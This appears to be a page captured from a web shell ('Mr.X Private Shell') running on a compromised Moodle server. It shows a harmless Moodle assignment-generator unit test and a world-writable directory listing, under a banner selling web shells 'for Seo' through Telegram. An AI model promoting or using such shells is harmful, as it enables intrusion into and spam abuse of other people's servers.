__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
namespace mod_assign;
/**
* Test for mod assign generator.
* @package mod_assign
* @copyright Frederik Pytlick <fmp@moxis.dk>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
* @covers \mod_assign_generator
*/
final class generator_test extends \advanced_testcase {
/**
* Test creating an assignment instance using the mod_assign generator.
*/
public function test_create_instance(): void {
$this->resetAfterTest();
$datagenerator = self::getDataGenerator();
$course = $datagenerator->create_course();
$scale = $datagenerator->create_scale();
$generator = $datagenerator->get_plugin_generator('mod_assign');
$instance1 = $generator->create_instance([
'course' => $course,
'name' => 'Assign 1',
'gradetype' => GRADE_TYPE_SCALE,
'gradescale' => $scale->id,
]);
$instance2 = $generator->create_instance([
'course' => $course,
'name' => 'Assign 2',
'gradetype' => GRADE_TYPE_NONE,
]);
$instance3 = $generator->create_instance([
'course' => $course,
'name' => 'Assign 3',
'gradetype' => GRADE_TYPE_VALUE,
]);
$this->assertEquals(-$scale->id, $instance1->grade);
$this->assertEquals(0, $instance2->grade);
$this->assertEquals(100, $instance3->grade);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| backup | Folder | 0777 |
|
|
| behat | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| event | Folder | 0777 |
|
|
| external | Folder | 0777 |
|
|
| fixtures | Folder | 0777 |
|
|
| generator | Folder | 0777 |
|
|
| privacy | Folder | 0777 |
|
|
| search | Folder | 0777 |
|
|
| base_test.php | File | 9.22 KB | 0777 |
|
| custom_completion_test.php | File | 8.28 KB | 0777 |
|
| dates_test.php | File | 7.72 KB | 0777 |
|
| downloader_test.php | File | 19.47 KB | 0777 |
|
| externallib_advanced_testcase.php | File | 7.33 KB | 0777 |
|
| externallib_test.php | File | 133.96 KB | 0777 |
|
| feedback_test.php | File | 5.67 KB | 0777 |
|
| generator.php | File | 4.65 KB | 0777 |
|
| generator_test.php | File | 2.07 KB | 0777 |
|
| lib_test.php | File | 58 KB | 0777 |
|
| locallib_participants_test.php | File | 7.53 KB | 0777 |
|
| locallib_test.php | File | 206.24 KB | 0777 |
|
| markerallocation_test.php | File | 5.58 KB | 0777 |
|
| notification_helper_test.php | File | 28.93 KB | 0777 |
|
| portfolio_caller_test.php | File | 10.05 KB | 0777 |
|